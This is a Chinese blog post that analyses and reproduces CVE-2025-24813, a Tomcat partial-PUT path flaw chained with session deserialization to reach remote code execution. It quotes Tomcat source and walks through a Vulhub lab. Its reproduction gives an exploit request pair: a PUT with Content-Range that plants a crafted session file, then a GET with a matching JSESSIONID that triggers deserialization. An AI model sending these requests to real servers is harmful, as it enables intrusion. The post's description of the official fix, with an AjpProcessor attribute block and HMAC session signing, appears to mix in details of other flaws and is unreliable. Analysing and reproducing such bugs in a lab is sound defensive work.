CVE-2025-24813源码分析与漏洞复现(Tomcat 路径等效漏洞与反序列化RCE)

发布于:2025-06-21 ⋅ 阅读:(17) ⋅ 点赞:(0)

漏洞概述

漏洞名称:Tomcat 路径等效漏洞+反序列化远程代码执行(RCE)
CVE 编号:CVE-2025-24813
CVSS 评分:9.8
影响版本

  • 9.0.0.M1 ≤ Tomcat ≤ 9.0.98
  • 10.1.0-M1 ≤ Tomcat ≤ 10.1.34
  • 11.0.0-M1 ≤ Tomcat ≤ 11.0.2
    修复版本:≥ 9.0.99 / 10.1.35 / 11.0.3
    漏洞类型:路径遍历 + 反序列化RCE
    根本原因
  1. 路径等效缺陷:Tomcat 处理 partial PUT 请求时未正确规范化含 ../ 的路径,导致恶意文件可写入敏感目录。
  2. 反序列化缺陷:结合文件会话持久化机制及存在漏洞的反序列化库(如 Commons-Collections),可触发远程代码执行。

漏洞原理与源码分析

1. 漏洞触发条件

需同时满足以下非默认配置

  • 显式启用 DefaultServlet 写入功能:在 conf/web.xml 中配置 readonly=false(默认 true)。
  • 启用基于文件的会话持久化:在 conf/context.xml 中配置 PersistentManager + FileStore(默认基于内存)。
  • 类路径包含反序列化利用链库:如 commons-collections-3.2.1.jar
  • 启用 partial PUT 请求(默认开启)。

2. 关键源码定位

(1)路径处理缺陷:FileStore#save
代码路径org.apache.catalina.session.FileStore

 public void save(Session session) throws IOException {
        File file = this.file(session.getIdInternal());// 会话ID生成文件
        if (file != null) {
            if (this.manager.getContext().getLogger().isTraceEnabled()) {
                this.manager.getContext().getLogger().trace(sm.getString(this.getStoreName() + ".saving", new Object[]{session.getIdInternal(), file.getAbsolutePath()}));
            }

            FileOutputStream fos = new FileOutputStream(file.getAbsolutePath());

            try {
                ObjectOutputStream oos = new ObjectOutputStream(new BufferedOutputStream(fos));

                try {
                    ((StandardSession)session).writeObjectData(oos); // 序列化数据写入文件  
                } catch (Throwable var9) {
                    try {
                        oos.close();
                    } catch (Throwable var8) {
                        var9.addSuppressed(var8);
                    }

                    throw var9;
                }

                oos.close();
            } catch (Throwable var10) {
                try {
                    fos.close();
                } catch (Throwable var7) {
                    var10.addSuppressed(var7);
                }

                throw var10;
            }

            fos.close();
        }
    }

漏洞点:将会话ID中的 / 替换为 .(如 poc/sessionpoc.session),但未过滤 ../,导致路径遍历。

(2)Partial PUT 文件写入:DefaultServlet#doPut
代码路径org.apache.catalina.servlets.DefaultServlet

protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        if (this.readOnly) {// 1. 只读模式检查(默认true安全)
            this.sendNotAllowed(req, resp);
        } else {// 2. 获取未经验证的相对路径(核心漏洞点)
            String path = this.getRelativePath(req);
            WebResource resource = this.resources.getResource(path);
             // 3. 解析Content-Range头(支持partial PUT)
            Range range = this.parseContentRange(req, resp);
            if (range != null) {
                InputStream resourceInputStream = null;

                try {
                    if (range == IGNORE) {
                    // 4a. 完整文件上传
                        resourceInputStream = req.getInputStream();
                    } else {
                     // 4b. 分块上传处理(漏洞利用关键)
                        File contentFile = this.executePartialPut(req, range, path);
                        resourceInputStream = new FileInputStream(contentFile);
                    }
                     // 5. 将输入流写入目标路径(无路径校验)
                    if (this.resources.write(path, (InputStream)resourceInputStream, true)) {
                        if (resource.exists()) {
                            resp.setStatus(204);
                        } else {
                            resp.setStatus(201);
                        }
                    } else {
                        try {
                            resp.sendError(409);// 409 Conflict
                        } catch (IllegalStateException var15) {
                        }
                    }
                } finally {
                    if (resourceInputStream != null) {
                        try {
                            ((InputStream)resourceInputStream).close();
                        } catch (IOException var14) {
                        }
                    }

                }

            }
        }
    }

绕过机制:攻击者通过 partial PUT 上传含 ../ 的路径(如 /uploads/../work/session),经替换后生成 .work.session 文件,落入会话存储目录 work/Catalina/localhost/ROOT

(3)反序列化触发点:FileStore#load
代码路径org.apache.catalina.session.FileStore#load

public Session load(String id) throws ClassNotFoundException, IOException {
        File file = this.file(id);
        if (file != null && file.exists()) {
            Context context = this.getManager().getContext();
            Log contextLog = context.getLogger();
            if (contextLog.isTraceEnabled()) {
                contextLog.trace(sm.getString(this.getStoreName() + ".loading", new Object[]{id, file.getAbsolutePath()}));
            }

            ClassLoader oldThreadContextCL = context.bind(Globals.IS_SECURITY_ENABLED, (ClassLoader)null);

            ObjectInputStream ois;
            try {
                FileInputStream fis = new FileInputStream(file.getAbsolutePath());

                StandardSession var9;
                try {
                    ois = this.getObjectInputStream(fis);

                    try {
                        StandardSession session = (StandardSession)this.manager.createEmptySession();
                        session.readObjectData(ois); // 这里是实际反序列化
                        session.setManager(this.manager);
                        var9 = session;
                    } catch (Throwable var19) {
                        if (ois != null) {
                            try {
                                ois.close();
                            } catch (Throwable var18) {
                                var19.addSuppressed(var18);
                            }
                        }
                        ...

RCE链:当用户访问携带恶意 JSESSIONID 的链接(如 JSESSIONID=.poc)时,loadSessionFromStore() 加载文件并反序列化,若环境中存在 commons-collections 等利用链,则执行任意代码。

3. 漏洞利用链

攻击者 Tomcat FileStore ManagerBase CommonsCollections 系统 发送Partial PUT请求(路径含../) 路径替换(/ → .)写入恶意session文件 携带JSESSIONID=.poc访问页面 加载并反序列化session文件 触发Gadget链 执行任意命令(如弹出计算器) 攻击者 Tomcat FileStore ManagerBase CommonsCollections 系统

漏洞复现

1.使用 Vulhub 环境启动漏洞靶机

docker-compose build
docker-compose up -d
  • 如果启动有问题可以尝试
docker build -t my-tomcat .
docker run -d --privileged -p 8080:8080 my-tomcat

2.访问 http://target:8080,确认服务正常运行

在这里插入图片描述

3.下载Yakit工具

4.下面进行最简单的URLDNS验证,无需导入其他恶意包

  • 在(https://dig.pm/)申请域名
    在这里插入图片描述

  • 启动yakit,使用下面图片中的功能
    在这里插入图片描述

  • 选择URLDNS,输入之前申请的域名,然后生成base64的payload

在这里插入图片描述

  • yakit发送请求包(不要用bp),打开如下功能
    在这里插入图片描述
  • 先发送如下请求包
PUT /666/session HTTP/1.1
Host: 192.168.1.100:8080
Content-Length: 2102
Content-Range: bytes 0-1000/1200

{{base64dec(恶意代码)}}

//将ip换为自己的,恶意代码换为之前生成的base64的payload

在这里插入图片描述

  • 紧接着快速发送如下请求
GET / HTTP/1.1
Host: 192.168.1.100:8080
Cookie: JSESSIONID=.666

在这里插入图片描述

  • 返回dig.pm点击get results 获取到记录
    在这里插入图片描述

影响范围与修复方案

1. 受影响版本

Tomcat 分支 受影响版本 安全版本
9.x 9.0.0.M1 - 9.0.98 ≥ 9.0.99
10.x 10.1.0-M1 - 10.1.34 ≥ 10.1.35
11.x 11.0.0-M1 - 11.0.2 ≥ 11.0.3

2. 官方修复方案

  • 补丁提交GitHub Commit
  • 修复逻辑
    1. 路径规范化校验:在 FileStore#save 中禁止路径含 ../
    2. 禁用危险属性:在 AjpProcessor 中拦截 javax.servlet.include.* 属性。
    3. 强制会话文件签名:添加 HMAC 校验防止篡改。

3. 临时缓解措施

措施 操作步骤
禁用 DefaultServlet 写入 conf/web.xml 中设置 <param-value>true</param-value>
关闭文件会话持久化 移除 conf/context.xml 中的 <Manager> 配置
移除反序列化漏洞库 删除 WEB-INF/lib/ 下的 commons-collections-3.x.jar 等危险库
网络层拦截 Nginx 配置过滤含 ../ 的请求:if ($request_uri ~* "\.\.") { return 403; }

漏洞启示:

  1. 配置最小化:生产环境禁用非必要功能(如 readonly=false 和文件会话持久化)。
  2. 依赖库安全管理:定期扫描 WEB-INF/lib 中的危险库(如 Commons-Collections)。
  3. 纵深防御:结合代码补丁、WAF 规则(拦截 ../partial PUT)和文件监控(审计 work/ 目录)。
  4. 漏洞利用复杂性:尽管需多条件叠加,但企业内网中易存在错误配置,需全面自查。

参考链接

  1. Apache 官方安全通告 - 修复版本下载
  2. 漏洞原理深度解析(Akamai) - 攻击流量分析
  3. 复现指南与环境配置(腾讯云) - 详细 PoC 步骤

网站公告

今日签到

点亮在社区的每一天
去签到